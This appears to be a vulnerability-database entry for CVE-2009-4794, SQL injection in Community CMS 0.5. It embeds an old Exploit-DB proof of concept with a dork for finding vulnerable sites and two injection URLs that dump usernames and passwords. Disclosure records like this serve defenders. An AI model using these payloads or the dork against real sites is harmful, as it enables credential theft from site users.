CVE-2009-4794

high

Published 2010-04-22 · Modified 2026-04-29

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CVSS v3

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CVSS v4 NEW

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not yet in upstream

VIR risk

8.5

Description

Multiple SQL injection vulnerabilities in Community CMS 0.5 allow remote attackers to execute arbitrary SQL commands via the (1) article_id parameter to view.php and the (2) a parameter in an event action to calendar.php, reachable through index.php.

Predictions

Exploit likelihood

20%

Patch ETA

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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-8323 webapps php verified text · 1 KB

Salvatore Fresta · 2009-03-31

Community CMS 0.5 - Multiple SQL Injections

text exploit Source: Exploit-DB

*******   Salvatore "drosophila" Fresta   *******

[+] Application: Community CMS
[+] Version: 0.5
[+] Website: http://sourceforge.net/projects/communitycms/

[+] Bugs: [A] Multiple SQL Injection

[+] Exploitation: Remote
[+] Dork: intext:"Powered by Community CMS"
[+] Date: 30 Mar 2009

[+] Discovered by: Salvatore "drosophila" Fresta
[+] Author: Salvatore "drosophila" Fresta
[+] Contact: e-mail: drosophilaxxx@gmail.com


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[+] Menu

1) Bugs
2) Code
3) Fix


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[+] Bugs


- [A] SQL Injection

[-] File affected: view.php, calendar.php

This bug allows a guest to view username and password of a registered user.


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[+] Code


- [A] Multiple SQL Injection

http://www.site.com/path/view.php?article_id=-1 UNION ALL SELECT 1,2,username,password,5,6,7,8,9 FROM comcms_users

http://www.site.com/path/index.php?id=2&view=event&a=-1 UNION ALL SELECT 1,2,3,4,5,6,7,CONCAT(username, 0x3a, password),NULL,NULL,NULL,12,13,NULL FROM comcms_users%23


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[+] Fix

No fix.


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# milw0rm.com [2009-03-31]

Application impact

Vendor	Product	Versions	Fixed
community_cms	community_cms	`0.5`

References

CWEs

CWE-89

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.